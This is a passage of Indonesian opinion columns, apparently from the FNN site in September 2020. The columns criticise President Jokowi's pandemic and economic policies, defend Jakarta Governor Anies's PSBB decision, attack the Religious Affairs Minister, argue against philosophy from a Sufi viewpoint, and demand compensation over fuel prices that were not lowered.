ditolak rakyat. Daya serap APBN yang rendah. Angka pertumbuhan ekonomi yang sudah minus -5% lebih. Sering marah-marah kepada para menteri. Para menterinya makin lama makin sering membuat gaduh dengan kebijakan yang aneh-aneh. Para menteri juga sibuk dengan urusan masing-masing. Lebih taat pada Ketua Umum partainya. Koordinasi juga mulai terlihat berantakan. Pembagian kerja dengan Wakil Presiden juga sering tidak sinkron. Bahkan terlihat kalau wapres cenderung untuk diabaikan. Itu semua adalah indikator paling nyata bahwa kepemimpinan Jokowi sudah tidak lagi efektif. Kepemimpinan Jokowi tidak lagi mampu untuk mencapai tujuan bernegara yang telah ditetapkan di Pembukaan UUD 1945. Tetapi justru semakin terlihat kacau balau. Apakah itu semua harus dibiarkan berlanjut dan terus berlanjut? Rakyat dan pemimpin yang otentik sudah waktunya hadir? Negara harus diselamatkan dengan menghadirkan pemimpin yang otentik. Bukan pemimpinan yang suka lupa dengan omongannya sendiri. Penulis adalah Pengamat Sosial Politik Universitas Negeri Jakarta (UNJ).

Pertempuran Tiada Henti Anies Vs Jokowi

by Hersubeno Arief Jakarta FNN - Jumat (12/09). Setelah beberapa saat tiarap dihajar publik dan media, BuzzeRp menggeliat kembali. Mereka ramai-ramai menghajar Gubernur DKI Anies Baswedan. Suara mereka bersahut-sahutan, seperti kodok bernyanyi menyambut musim penghujan. Kebijakan Anies menarik rem darurat, akan memberlakukan Pembatasan Sosial Berskala Besar (PSBB) di Jakarta diserang habis. Jumat (11/9) #4niesDanCovidBerbahaya menjadi salah satu trending topik. Sejumlah artis alias influencer juga turut mempersoalkan kebijakan Anies. Cuma caranya lebih halus. Tidak langsung membully. Orkestra nada menyerang Anies di medsos, bersamaan dengan serangan secara sporadis para menteri kabinet Jokowi. Tak tanggung-tanggung. Pasukan tempur menggeruduk Anies dipimpin langsung oleh Menko Perekonomian Airlangga Hartarto. Airlangga menuding rencana Anies menarik rem darurat sebagai biang keladi nyungsepnya Indeks Harga Saham Gabungan (IHSG) di bursa saham Jakarta. Menteri Perdagangan Agus Suparmanto yang selama ini tak pernah jelas rimbanya, tiba-tiba juga muncul. Dia mengingatkan PSBB di DKI Jakarta jangan sampai menghalangi distribusi logistik. Dampaknya bisa menghancurkan Produk Domestik Bruto (PDB). Menteri Perindustrian Agus Gurmiwang Kartasasmita mengingatkan PSBB jangan sampai menghancurkan industri manufaktur yang kini tengah menggeliat. Di luar ketiga menteri yang membidangi ekonomi, yang paling menarik adalah pernyataan Wamenlu Mahendra Siregar. Dia mengingatkan, jika PSBB dipukul rata, termasuk industri manufaktur, dampaknya ekonomi akan kolaps. Sebagai Wamenlu tidak pada tempatnya Mahendra bicara semacam itu. Benar dia pernah menjadi Mendag pada era SBY. Dia punya kompetensi bicara. Namun dengan posisinya sekarang, sungguh tak elok. Akan lebih baik bila Mahendra bicara bagaimana upaya pemerintah membuka “lockdown” dari lebih 60 negara terhadap Indonesia. Itu tugas pokok dan fungsi dia yang tidak kalah seriusnya. Nabok nyilih tangan Fenomena pengeroyokan rame-rame atas Anies, dalam khasanah budaya Jawa disebut sebagai “nabok nyilih tangan.” Alias memukul dengan meminjam tangan orang lain. Jokowi tak mau tangannya kotor dengan menyerang Anies. Dia meminjam tangan para menterinya, bahkan para buzzer untuk menghajar Anies. Tangannya tetap bersih. Bersamaan dengan itu Jokowi agaknya berharap, publik lupa atau setidaknya tidak sadar bahwa apa yang dilakukan Anies merupakan tindak lanjut instruksinya. Dalam rapat kabinet Senin (7/9) Jokowi mewanti-wanti agar penanganan kesehatan lebih didahulukan ketimbang ekonomi. Logika yang sesungguhnya sangat benar. Media menyebutnya Jokowi siuman. Selama ini berbagai kebijakan Jokowi selalu lebih mengutamakan ekonomi ketimbang kesehatan. Kebijakan inilah yang menjadi arena pertempuran antara Anies Vs Jokowi selama pandemi. Anies menginginkan lockdown untuk Jakarta. Pemerintahan Jokowi menolaknya. Jokowi sampai harus mengutus Mendagri Tito Karnavian menemui Anies di Balaikota DKI. Tito mengingatkan bahwa kewenangan lockdown berada di pemerintah pusat. Pemda tidak boleh mengambil kebijakan sendiri. Sepanjang pademi ketegangan antara pemerintah pusat dan Anies terus berlangsung. Menkeu Sri Mulyani pernah menyebut Pemprov DKI tak punya dana Bansos. Mensos Juliari Batubara menyebut penyaluran Bansos di DKI tumpang tindih. Sementara Menko PPM Muhadjir Effendi mengaku menegur Anies karena data dan penyaluran Bansos di DKI acakadut. Belakangan justru terungkap pemerintah pusat dalam hal ini Depkeu berutang besar kepada DKI. Dana perimbangan yang belum dibayarkan sebesar Rp 6,39 triliun. Anies sudah sempat menagih dan mengeluhkannya ke Wapres Ma’ruf Amin. Perseteruan kali ini setidaknya menjadi arena pertempuran babak ketiga antara Anies Vs Jokowi. Hanya saja kali ini Anies harus ekstra hati-hati. Kendati opini publik berpihak kepadanya, namun kondisi psikologis masyarakat sudah sangat berbeda. Secara ekonomi daya tahan publik kian melemah. Mereka terpaksa melakukan pelanggaran pembatasan karena tuntutan perut tidak bisa dikompromikan. Dampak penarikan rem darurat akan membuat kontraksi besar. Apalagi bila tidak dibarengi kompensasi bagi rakyat. Rakyat bisa ngamuk. Anies akan menjadi sasaran. Sudah menjadi rahasia umum keuangan DKI memburuk dan menyusut hampir separoh. Pemerintah pusat sejak awal tidak mau bertanggungjawab atas beban anggaran akibat kebijakan yang diambil. Jokowi mati-matian menolak lockdown karena tidak mau bertanggung jawab atas beban anggaran yang harus dipikul. Anies juga dihadapkan pada penolakan kepala daerah di sekitar DKI yang bakal terkena dampak kebijakan tersebut. Walikota Bogor Bima Arya Sugianto tegas menolak rencana PSBB total. Dia minta Anies berkonsultasi dengan pemerintah pusat. Dilihat dari paduan suara para menteri dan serangan para buzzer, sudah jelas menunjukkan kemana arah kebijakan Jokowi. Jokowi menegaskan penanganan kesehatan harus diutamakan, eh ketika Anies mau menjalankan, malah diserang habis-habisan. Anies pasti tahu belaka bahwa pernyataan Jokowi tidak bisa diartikan secara harfiah. Linier. Jokowi selalu melakukan hal-hal yang berbanding terbalik dengan apa yang dia katakan. Dia menyatakan akan reshufle, tapi ternyata tidak. Dia menyatakan ekonomi akan meroket, itu artinya ekonomi akan nyungsep. Kalau sekarang dia menyatakan kesehatan harus diutamakan, maka harus diartikan tetap ekonomi lah yang diutamakan. Masalahnya Anies saat ini tidak punya pilihan lain. Rem darurat harus ditarik. Bila tidak akan terjadi crash. Korban jatuh lebih besar. Terus meningkatnya pasien terinfeksi. Membludaknya pasien di rumah sakit rujukan, serta jumlah kematian yang terus bertambah, menunjukkan situasi sudah darurat tingkat tinggi. Anies harus pandai-pandai mengatur siasat. Di satu medan tempur harus melawan Covid-19 yang tidak kasat mata. Di medan tempur lain harus menghadapi pemerintah pusat yang berada di depan mata. End Penulis adalah Wartawan Senior FNN.co.id

Menteri Agama Ngawur, Presiden Kok Diam?

by M Rizal Fadillah Jakarta FNN – Jum’at (11/09). Ketika Menteri Agama Fachrul Razi direaksi karena ngomong tentang radikalisme melulu, Presiden diam seribu bahasa. Apakah Presiden sengaja membiarkan Menteri Agama babak belur dihajar oleh kebijakan penghapusan "ajaran radikal" dari buku pelajaran agama Islam? Begitu juga dengan omongan Menteri Fachrul Rozi soal celana cadar dan celana cingkrang. Rencana pendaftaran majelis ta'lim, serta hafidz dan mahir bahasa arab sebagai pintu radikalisme. Sehingga diduga sampai akhir jabatan Menteri Agama hanya akan berkhidmah pada "radikalisme". Dengan bekal ilmu agama Pak Menteri Fachrul sangat yang sangat minim, pas-pasan, atau nyaris kosong, tetapi berani dan bangga bicara tentang radikalisme. Hanya dengan berbekal modal dasar sebagai Menteri Agama, ngomongnya seperti orang sudah menjadi mufassir dan muhaddits. Padahal semakin banyak ngomong, Menteri Agama semakin menelajangi diri sendiri soal pengetahuan agamanya. Menteri diangkat dan diberhentikan Presiden. Oleh karenanya menteri dalam sistem ketata negaraan yang berlaku disebut menjadi pembantu Presiden. Menteri bertanggungjawab kepada Presiden, dan hak prerogatif untuk mengangkat dan memberhentikan. Satu, sebagian atau seluruhnya. Reshuffle adalah kewenangan ketatanegaraan Presiden. Makanya menteri itu menjadi "wajahnya" Presiden pada tataran pelaksanaan. Ketika Menteri Agama gonjang-ganjing dengan kebijakan kontroversi, mulai celana cingkrang hingga "otak cingkrang" bahwa hafidz atau penguasaan bahasa arab menjadi pintu radikalisme, semestinya Presiden bersuara atau bersikap. Presiden seharusnya mengoreksi, meluruskan atau mungkin menegur setiap perbuatan yang menyakiti perasaan rakyatnya. Khususnya rakyat yang beragama Islam sebagai mayoritas di negeri ini. Lebih tegas lagi Presiden harus menggantikannya dengan pejabat yang lain. Diganti dengan pejabat yang tidak punya hobby memproduksi kegaduhan di tenagh menguatnya dua jenis tekanan kepada masyarakat. Pertama adalah tekanan pandemi covid-19, dan kedua adalah tekanan ekonomi yang semakin meberatkan. Jika Presiden diam saja maka rakyat berhak memberikan penilaian kepada Presiden. Pertama, Presiden tidak mengerti apa yang dinyatakan oleh sang Menterinya. Ini artinya kualitas Presiden berada di bawah menteri. Kecuali Presiden bersikap lain. Misalnya, dengan mengoreksi, meluruskan atau menegur menterinya. Kedua, Presiden mengerti tetapi tak bisa mengendalikan menterinya. Maka nyatalah bahwa menteri tersebut jalan sendiri. Menteri tak lagi menjadi pembantu Presiden. Apa saja yang mau diomongin suka-suka hati pada menterinya. Tidak lagi perduli dengan apa kata Presiden. Ketiga, kebijakan menteri adalah suara dan isi hati dari Presiden. Maka tuntutan agar menteri diganti sama saja dengan meminta Presiden yang diganti. Salah sebesar apapun yang dilakukan oleh menteri, presiden bakal diam saja. Bahkan bisa saja disuruh oleh Presiden secara diam-diam. Hampir semua Menteri Jokowi tidak ada yang berprestasi. Pilihannya hanya dua, yaitu diam atau berprilaku aneh-aneh dengan membuat pernyataan yang kontroversi. Jika di era parlementer, semestinya kondisi ini menyebabkan bubarnya Kabinet. Mungkin untuk yang kelima kali. Presiden yang hanya bisa diam saja disaat menterinya salah, menggambarkan dan mengkonfirmasi kepada masyarakat bahwa Pemerintahan sudah kehilangan wibawa. Kepercayaan kepada pemerintah sudah runtuh. Pemerintah mendeklarasi dirinya tentang ketidakmampuan mengelola pemerintahan. Lalu apa yang bisa diharapkan oleh rakyat lagi? Pilihan konstitusional hanya dua, yaitu mundur atau dimundurkan. UUD 1945 mengatur cara melakukan penyegaran dalam pemerintahan, demi kebaikan besama dalam berbangsa dan bernegara. Bukan mengada-ada. Apalagi makar atau kudeta. Penulis adalah Pemerhati Politik dan Kebangsaan.

Berlakukan PSBB Lagi, Anies Diserang Buzzer

by Tony Rosyid Jakarta FNN – Jum’at (11/09). Baru-baru ini, presiden menyatakan "bahwa fokus utama pemerintah adalah kesehatan". Sepertinya, pernyataan presiden ini sebagai respon atas makin meluasnya penyebaran covid-19. Perhari di atas 3.000 orang terinveksi virus corona. Presiden siuman, kata epidemiolog dari Universitas Airlangga Surabaya, Windhu Purnomo. Boleh jadi betul. Yang pasti, selama ini langkah pemerintah dalam menangani pandemi covid-19 zig zag. Sporadis dan tak terukur. Bahkan bisa dibilang suka-suka hati. Semula pemerintah nggak yakin covid-19 masuk ke Indonesia. Sangat meremehkan. Macam-macam guyonanya. Ternyata salah prediksi. Ini fatal sekali. Urusan nyawa rakyat diibuat jadi main-main. Setelah covid-19 masuk, pemerintah pusat panik dan gagap. Yang muncul berikutnya justru kegaduhan akibat ulah pasukan buzzer. Buzzer komersial yang makan anggaran Rp 90,45 miliar. Setelah beberapa bulan, pemerintah menemukan solusi, yaitu Pembatasan Sosial Berskala Besar (PSBB). Ini memang ide jitu. Meski semula terlihat malu-malu. Karena secara substansi, usulan ini jauh-jauh hari sudah diajukan gubernur DKI. Tetapi malah ditolak. Katrok kan? Seandainya karantina wilayah diterapkan dari awal di Jakarta seperti usulan Anies, pemerintah cukup kasih makan 3,6 juta Kepala Keuarga (KK). Dua pekan sekali habis anggaran Rp 900 miliar. Sebulan Rp 1,8 triliun . Genapkan jadi Rp 2 triliun. Karantina enam bulan, cukup anggarkan Rp 12 triliun. Mungkin corona nggak nyebar kemana-kemana. Inilah yang diterapkan di Wuhan. Juga di beberapa negara. Nasi sudah jadi bubur. Kalau sukses tangani covid-19 dari awal, mungkin Perppu dan UU Corona nggak lahir. UU Mineral dan Batubara (Minerba) juga belum tentu diketuk palu. RUU Omnibus Law bisa mangkrak. RUU HIP boleh jadi akan layu sebelum diusulkan. Sejak PSBB dilaksanakan, penyebaran covid-19 mulai terkendali. Sayangnya, hanya beberapa saat saja. Ambyar setelah pemerintah mewacanakan New Normal. Rupa-rupanya, pemerintah setengah hati juga dalam memberlakukan PSPB. Sejak muncul wacana New Normal, masyarakat hilang kedisiplinan. Aturan PSBB tidak lagi efektif. Disana sini terjadi pelanggaran. Eforia berkerumun muncul kembali. Akibatnya, penyebaran covid-19 semakin meluas. Bahkan lebih gila dari awal pandemi masuk ke Indonesia. Lalu, presiden bilang kepada para menteri di sidang kabinet “kesehatan harus diutamakan”. Apakah pernyataan presiden ini murni karena keprihatinan terhadap mengganasnya penyebaran covid-19? Sebab, prioritas dan fokus pemerintah selama ini masih pada ekonomi. Pemerintah cenderung meremehkan angka kematian. Kok mendadak banting setir. Bicara kesehatan di saat dampak ekonomi betul-betul nyata dan mulai dirasakan oleh rakyat. Saat Indonesia dihajar resesi ekonomi. Dua kuartal pertumbuhan ekonomi minus, dan kehidupan rakyat makin susah. Mendadak fokus ke kesehatan. Halllooo... selama ini kemana? Wajar jika kemudian ada yang menduga pernyataan presiden hanya pengalihan isu. Dari isu ekonomi yang sudah mencapai "ngeri-ngeri sedap" ke isu kesehatan. Seolah ada kesan pemerintah pusat sayang terhadap nyawa rakyatnya. Yang bener aja boosss? Situasi menggilanya penyebaran covid-19 mau tidak mau juga harus dihadapi oleh para kepala daerah. Terutama Jakarta. Mobilitas sosial akibat tuntutan ekonomi di Ibu kota tak terkendali. Kerja keras para kepala daerah, termasuk gubernur DKI untuk menerapkan transisi PSBB, tak lagi mampu menghadang eforia New Normal yang digaungkan sendiri oleh Presiden Jokowi. Data di Ibu Kota, tentu juga sejumlah daerah lain, menyebutkan bahwa penyebaran covid-19 menghawatirkan. Kekhawatiran ini mendorong Anies, gubernur ibu kota Jakarta, mengambil sikap tegas. Anies memberlakukan kembali PSBB secara ketat. Anies meyakinkan publik bahwa kebijakannya ini berbasis pada data dan kajian. Anies konsisten pada prinsip yang selama ini dipegang. Yaitu, mengutamakan keselamatan nyawa dan kesehatan rakyat di atas segalanya, termasuk ekonomi. Kebijakan ini tentu nggak populer. Sebab, hadir di saat rakyat sudah merasa merdeka dari covid-19. Akibat kebijakan yang nggak populer, Anies harus siap hadapi kritik. Ini sudah risiko jabatan. Buat lawan politik dan para buzzer, isu ini cukup menggairahkan. Mereka seolah dapat lahan kering untuk bakar kegaduhan. Begitulah yang selama ini terjadi. Sebuah konsekuensi demokrasi di era digital. Menko perekonomian, Airlangga Hartarto teriak. Anies dianggap menjadi penyebab IHSG anjlok. Bahkan ada yang bilang bahwa keputusan Anies menerapkan PSBB membuat 59 negara mengeluarkan travel warning. Yang lebih gila lagi, ada yang minta Anies dibebastugaskan. Ngeri bro! Hebat sekali Gubernur Anies ini. Selain menteri yang selalu menjadi oposisi, kebijakan Anies mendapat respon dari 68 negara, yang membuat kebijakan lockdown terhadap Indonesia. Ini artinya, masyarakat internasional lebih percaya pada data Anies tentang Indonesia, dari pada data dari pihak yang lain. Disinilah pentingnya kejujuran bila menyangkut data. Sebab, akurasi data menjadi bagian penting dari kredibilitas sebuah bangsa ketika bicara di hadapan dunia internasional. Untuk sebuah kejujuran, seorang pemimpin harus berani mengambil keputusan tidak populer. Meski punya risiko politik. Itulah yang dulu dilakukan Habibi dan Gus Dur. Hanya orang yang pintar, jujur, tegas dan berani ambil risiko yang layak menjadi seorang pemimpin. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Khurafat Filsafat (Bagian-2)

by Irawan Santoso Shiddiq Jakarta FNN – Jum’at (11/09). Manusia menjadi sentral. Manusia menjadi objek yang mengamati. Bukan lagi objek yang diamati. Manusia pun mendefeniskkan Tuhan. Menteorikan segala sesuatunya. Termasuk alam. Itu yang disebut dengan saintifik. Maka yang mencuat adalah kebenaran ala metafisika. Era itu yang kemudian memunculkan modernisme. Era modern, eranya filsafat. Segala sesuatunya harus melewati rasio manusia. Immanuel Kant makin membuat akrobat. Kant meluncurkan teori empirisme. Hasil penyelidikan akal sekalipun, kata Kant, tak bisa diterima sebelum terbukti secara empiris. Maka, cara berpikir manusia pun makin terjerambab. Tapi manusia, sekali lagi, seolah-olah menjadi objek. Hingga Voltaire pun menelorkan kesombongannya, “Jika Tuhan menuntut ketundukan penuh, maka Tuhan adalah diktator, karenanya tak wajib dipatuhi.” Mindset inilah yang mengundang Eropa tak lagi mematuhi “Vox Rei Vox Dei” tadi. Mereka melakukan perlawanan. Dogma seolah menjadi musuh bersama. Puncaknya berlangsung Revolusi Perancis, 1789. Ini anti klimaks dari kejadian “Masacre de Paris” abad 16 lalu. Jika dulu, kaum Huguenot yang dibantai. Revolusi Perancis berbalik. Huguenot yang membantai pengikuti Gereja Roma. Raja Louis XVI digantung didepan Bastille. Gereja Roma disingkirkan. Alhasil muncul-lah teori baru soal kekuasaan. Merujuk dari teorinya Rosseau, le contract sociale. Hukum lahir berlandaskan kesepakatan manusia. Kontrak bersama. Hukum bukan lahir dari pemaksaan Tuhan. Maka, sejak revolusi Perancis, manusia seolah berhak membuat hukum sendiri. Lahirlah konstitusi yang disebut “modern state”. Tentu merujuk pada filsafat. Bahwa seolah, manusia menjadi sentral. Dengan “akal bawaan”, manusia wajib melakukan penilaian “akal bawaan” seolah menjadi sentral “kebenaran”. Makanya memunculkan rasionalitas, sebagai ajang “pembenaran”. Masa rennaisance, aqli masih disejajarkan dengan naqli. Tapi modernitas, naqli dieliminasi. Filsafat tak lagi mengakui kebenaran ala naqli. Inilah ajaran Dercartes sampai Kant. Yang kemudian diikuti Bohr, Newton sampai Marx. Maka disitulah era “segala sesuatunya adalah materi” menjadi dogma baru. Filsafat berubah menjadi “dogma” yang wajib dipatuhi dan harus diakui. Masa mu’tazilah dulu, filsafat melahirkan dogma bahwa Al Quran adalah makhluk. Sesiapa yang tak mempercayainya, maka dihukum. Maka para Khalifah, yang terjerumus mutazilah pun melaksanakan hukuman. Modernitas melahirkan “dogma” teknikal state. Ini wajib dipatuhi. Sesiapa yang menentang, dianggap ekstrimis. Jadi ini menjadi karakteristik filsafat. Pemaksaan. Filsafat bukanlah ajang berpikir. Melainkan ajang pemaksaan kehendak. Karena filsafat memaksa, bahwa kehendak seolah berada di tangan manusia. Ini yang dulu digambarkan Imam Al Ghazali, ketika menyerang filsafat-nya kaum mu’tazilah. Imam Ghazali mengatakan, qudrah dan iradah itulah berada di area Tuhan. Bukan manusia. Sementara filsafat, dengan “akal bawaan” atau “ide bawaan”, manusia seolah yang memiliki daya dan kehendak. Disinilah, yang menurut Imam Ghazali, kesesatan dari filsafat dan filosof itu. Filsafat meyakini bahwa segala sesuatunya memiliki permulaan. Itu yang disebut teori kausalitas. Sebab akibat. Imam Ghazali memberi contoh, ketika air bertemu api, maka menjadi panas. Filsafat yang “berpikir”, bahwa yang memanaskan air menjadi uap itu adalah api. Sehingga seolah daya dan kehendak itu berada di tangan manusia. Yang memantik api dan memanaskan air. Hingga uap pun terjadi. Padahal bukan. Air, api, uap, itu merupakan ciptaan Allah Subhanahuwataala. Ghazali menggambarkan, Allah Subhanahuwataala menciptakan air, api, dan uap, berikut dengan sifat-sifatnya. Bukan sekedar materinya belaka. Sifat air, tentu mengalir dan jika bertemu dengan sifat api yang panas, akan memunculkan uap. Ini bagian dari ‘kehendak dan daya-Nya Allah Subhanahuwataala. Manusia hanya menjalankan semata. Bukan “menemukan” kehendak dan daya itu. Jadi, panasnya air karena api itu, bukan disebabkan oleh api yang membakar. Melainkan sifat air dan sifat api yang saling bertemu. Dan semua benda, Allah Subhanahuwataala yang menciptakan berikut dengan sifat-sifatnya. Dan itu tak dipisahkan dari benda tersebut. Jadi keliru jika manusia “dengan akalnya” seolah yang berhasil menciptakan air yang panas. Disebabkan oleh api yang membakar. Padahal kehendak dan daya itu tetap berada pada Qudrah dan Iradah-Nya Allah Subahanhuwataala. Dan Allah Subhanahuwataala bisa dengan mudah mengubah sifat api. Tak selamanya api panas. Ketika Ibrahim Allaihisalam dibakar, Allah memerintahkan Malaikat untuk mengubah sifat api. Alhasil api menjadi dingin. Jadi yang menjaga pengaturan alam semesta ini, tentu Malaikat yang bertugas atas perintah Allah Subhanahuwataala. Nah, “cogito ergo sum” seolah mengajarkan bahwa manusia harus memikirkan segala sesuatu dalam rasionya, baru bisa dianggap sebagai “kebenaran.” Inilah yang disebut Martin Heidegger sebagai kekeliruan. “Sains tidak berpikir,” katanya dalam “Being and Time”. Modernisme bikin manusia terjerambak pada sistem. Dengan rasionalitas tadi, seolah alam merupakan sebuah sistem. Ini yang ditampik Goethe. Dan Nietszche pun menampik Socrates. “Bagaimana mungkin bahagia itu bersumber dari berpikir,” katanya. Karena memang filosof memaksa, bahwa sumber “bahagia” bagi diri manusia, adalah memenuhi fakultas akal. Fakultas rasio. Disinilah problematikanya. Modernitas membuat manusia terjebak pada “teknikal state”, yang muncul dari saintisme kekuasaan. Manusia terjerambab pada konstitusionalisme, yang seolah menjadi panduan. Itulah modernis Islam. Yang meletakkan Al Quran sebagai konstitusi. Sebuah kegilaan tersendiri. Modernitas melahirkan manusia seolah bisa mencipta dan membuat. Graham Bell seolah sebagai “pencipta” telepon. Makanya dia layak diberi materi. James Watt dianggap “pencipta” mesin uap. Dari sinilah muncul copy right. Manusia pun terjerambab pada halusinasi qudrah dan iradah yang seolah berasal dari manusia. Bukan Tuhan. Alhasil yang muncul adalah peradaban “teknikal state”. Ini yang disebut Ernst Junger sebagai “gestalt”. Manusia berubah menjadi buruh bagi yang lainnya. Karena “pencipta” terdahulu berubah menjadi majikan. Mereka-lah pemegang copy right. Yang seolah tak boleh digeser. Inilah dogma baru yang menyesatkan. Dan puncak dari pemegang copy right teratas, itulah para bankir. Mereka mencap seolah sebagai pemegang tunggal pencetak uang. Uang kertas. Selain mereka para bankir, tidak diijinkan mencetak uang, alat tukar bagi manusia di seluruh dunia. Bahkan, Presiden suatu negara, tidak diperkenankan mencetak uangnya sendiri. Inilah sihir rasionalitas. Yang membuat manusia terjerambab pada penjara khurafat. Karena filsafat membuat manusia seolah tak lagi percaya pada fitrah. Suatu aturan yang datang dari Allah Subhanahuwataala. Filsafat mengubah manusia menjadi khurafat. “Filsafat tak bisa menemukan kebenaran,” kata Heidegger. “Ma’rifatullah itulah berpikir,” ujar Shaykh Umar Vadillo, ulama Spanyol. Disinilah kita menemukan sumber kebahagiaan sejati. Plato mengajarkan, tiga unsur dalam manusia itu akal (kepala), kehendak (dada) dan nafsu (perut). Akal itulah puncak yang mengatur. Dari situlah filsafat. Kehendak lahir dari buah pikiran akal. Itulah teori filosof illahiyyun. Shaykh Abdalqadir as sufi menggambarkan, modernitas ini telah melahirkan peradaban yang menghilangkan rasionalitas. Tak bernilainya segala sesuatu yang penting, telah mendominasi pemikiran, pengajaran dan perilaku.” Ini menggambarkan bahwa modernitas tak lagi melahirkan “kebenaran” ala akal sekalipun. Kehendak, bukan lagi datang dari akal, seperti gambaran Plato. Post modernitas, melahirkan “kehendak” yang disetir oleh nafsu. Nafsu manusia berada pada puncak. Bukan lagi akal sebagai puncak. Alhasil melahirkan perabadan syahwati. Dalam bidang hukum, Lawrence Freidmann menggambarkan, hukum masa abad 20 ke atas, tidak lagi dibuat oleh para pemikir hukum, agamawan dan lainnya. Hukum abad 20 dibuat oleh praktisi hukum. Inilah hukum demi kepentingan syahwati. Hukum yang melahirkan kepentingan nafsu belaka. Alhasil tak lagi tercipta “kebenaran materil”. Pengadilan ala rechstaat, yang teorinya merupakan wadah untuk mencari kebenaran materil, kini tak lagi terjadi. Karena pencari keadilan memiliki target baru, “mencari kemenangan materil”. Bukan lagi kebenaran materil.’ Inilah buah dari khurafatnya filsafat. Karena memang Imam Ghazali telah mengingatkan, “sesungguhnya akal tak dijamin dari kesalahan. Maka tak dibenarkan mengambil hakekat ajaran agama darinya.” Inilah yang dijawab Nietszche, “Filsafat itulah berhala.” Jalan tassawuf itulah jawaban atas kesesatan filsafat. Tubuh manusia bukan terdiri dari akal, kehendak dan nafsu. Melainkan dari qalbu, akal dan nafsu. Qalbu itulah sebagai raja. Kepala pengendali atas tubuh. Dan qalbu ini akan tersingkap dengan ma’rifatullah. Pemahaman tentang Allah Subhanahuwataala dengan benar. Inilah jalan tassawuf. Disitulah akan tersingkap syariat (jalan besar) dan tariqah (jalan kecil). Inilah jalur menuju kebenaran. Kebahagiaan, kata Imam Ghazali adalah dengan memenuhi asupan pada fakultas qalbu. Bukan fakultas nafsu. Metode itu tersimpan rapi dalam pengajaran tassawuf. Dari guru-guru yang memiliki sanad sahih, sebagaimana turun temurun dari pengajaran Rasulullah Shallahuallaihiwassalam. Inilah jalan selamat dari gerusan “teknikal state” yang melahirkan “gestalt” seperti kata Junger tadi. (habis). Penulis adalah Wartawan Senior dan Direktur Eksekutif Mahkamah Institute.

Menuntut Ganti Rugi BBM Mahal Rp 24 Triliun

by Dr. Marwan Batubara Jakarta FNN - Jum'at (11/09). Tak lama setelah dilantik, Presiden Jokowi menerbitkan Perpres Nomor 191/2014 tentang Penyediaan, Pendistribusian dan Harga Jual Ecerean BBM pada 31 Desember 2014. Perpres Nomor 191/2014 direvisi dengan Perpres Nomor 43/2018 guna menambah wilayah penjualan BBM penugasan (Premium). dan kebijakan tentang penerimaan badan usaha setelah audit BPK. Harga eceran Bahan Bakar Minyak (BBM) berubah. Terutama sesuai fluktuasi harga minyak dunia dan nilai tukar dollar terhadap rupiah. Perpres Nomor 191/2014 menjadi rujukan Kementrian ESDM menetapkan formula harga eceran BBM secara rutin (bulanan) berbentuk Peraturan Menteri (Permen) dan Keputusan Menteru (Kepmen). Permen ESDM yang pernah terbit meliputi Nomor 39/2014, No.4/2015, Nomor 39/2015, Nomor 27/2016, Nomor 21/2018, Nomor 34/2018 dan Nomor 40/2018, Nomor 19K/2019, Nomor 62K/2019, Nomor 187/2019, Nomor 62K/2020 serta Nomor 83K/2020. Implementasi peraturan di atas tercermin pada harga BBM domestik yang berubah-ubah sesuai fluktuasi harga minyak dunia. Misalnya, harga BBM RON-92 (Pertamax) per liter pada Mei 2015 adalah Rp 9.600, turun menjadi Rp 7.550 pada April 2016. Kemudian naik ke Rp 8.400 pada Desember 2017. Naik lagi Rp 9.150 pada Februari 2018 dan Rp 9.850 pada Desember 2019. Setelah itu turun ke Rp 9.200 pada januari 2020 dan Rp 9.000 pada Februari 2020. Harga minyak dunia yang dinamis membuat harga eceran Pertamax pernah lebih rendah dari Rp 8.000 atau lebih mahal dari Rp 9.000 per liter. Artinya, sesuai peraturan yang ada, rakyat harus membeli BBM lebih mahal dari Rp 9.000 per liter saat harga minyak dunia naik. Begitu juga pernah menikmati harga murah lebih rendah dari Rp 8.000 per liter saat harga minyak dunia turun. Ternyata, pada saat harga minyak dunia turun signifikan menjadi sekitar U$ 32 per barel pada Maret 2020 atau sekitar U$ 21 per barel pada April 2020, harga BBM di dalam negeri tidak turun. Kondisi normal harga BBM yang berlangsung empat tahun terakhir, tidak lagi dijalankan. Padahal aturan rujukan masih berlaku efektif. Menteri ESDM Arifin Tasrif beralasan, harga minyak masih belum stabil dan harga BBM Indonesia sudah cukup murah. Sedangkan Dirut Pertamina Nicke Widyawati, mengatakan harga BBM tidak turun karena biaya crude domestik lebih mahal dibanding impor. Pertamina harus menyerap 100% produksi domestik, menjaga bisnis migas kondusif, mencegah PHK, menjaga operasi kilang, dan mengkompensasi penurunan konsusmsi BBM akibat Covid-19. Apapun pun alasannya, kita tetap tidak dapat menerima jika harga BBM tidak turun. Mengapa? Karena peraturan dan formula harga eceran BBM masih berlaku. Selama ini rakyat rela membayar harga BBM lebih mahal sesuai aturan. Dengan aturan yang sama, wajar rakyat menuntut harga BBM harus diturunkan saat harga minyak turun. Seperti yang terjadi saat harga Pertamax per liter hanya Rp 7.550 pada April 2016 atau Rp 8.400 pada Desember 2017. Rakyat wajar menuntut harga BBM segera turun. Rakyat juga menuntut ganti rugi kemahalan harga BBM. Rakyat menolak kebijakan semau gue dengan melanggar peraturan yang diterbitkan sendiri oleh pemerintah. Jika pemerintah menghalangi rakyat menikmati harga BBM lebih murah, sementara aturan rujukan masih berlaku, maka dapat dinyatakan pemerintah telah bertindak “semau gue”. Pemerintah melawan hukum dan menzolimi rakyat di tengah tekanan ekonomi akibat pandemi covid-19. Sesuai Kepmen ESDM Nomor 62K/2020, formula harga bensin di bawah RON 95, Bensin RON 98, dan Minyak Solar CN 51 adalah MOPS atau Argus + Rp 1800 per liter + margin 10% dari harga dasar. Sebagai contoh, dengan formula di atas, sesuai MOPS rata-rata 25 Februari sampai dengan 24 Maret 2020 dan kurs U$ 15.300, maka diperoleh harga BBM yang berlaku 1 April 2020 jenis Pertamax RON 92 sekitar Rp 5.500 per liter dan Pertalite RON 90 sekitar Rp 5.250 per liter. Ternyata harga resmi BBM di SPBU masing-masing adalah Rp 9.000 dan Rp 7.650. Dengan demikian, jika dibanding harga sesuai formula, maka konsumen BBM Pertamax membayar lebih mahal Rp 2.000 sampai Rp 3.500 per liter. Hal sama juga terjadi untuk BBM tertentu (Solar) dan Khusus Penugasan (Premium). Namun dengan nilai kemahalan sekitar Rp 1.250-1.500 per liter. Untuk semua jenis BBM rerata nilai kemahalan diasumsikan Rp 2.000 per liter. Harga rerata minyak dunia bulan Februari, Maret, April, Mei, dan Juni 2020 masing-masing adalah sekitar 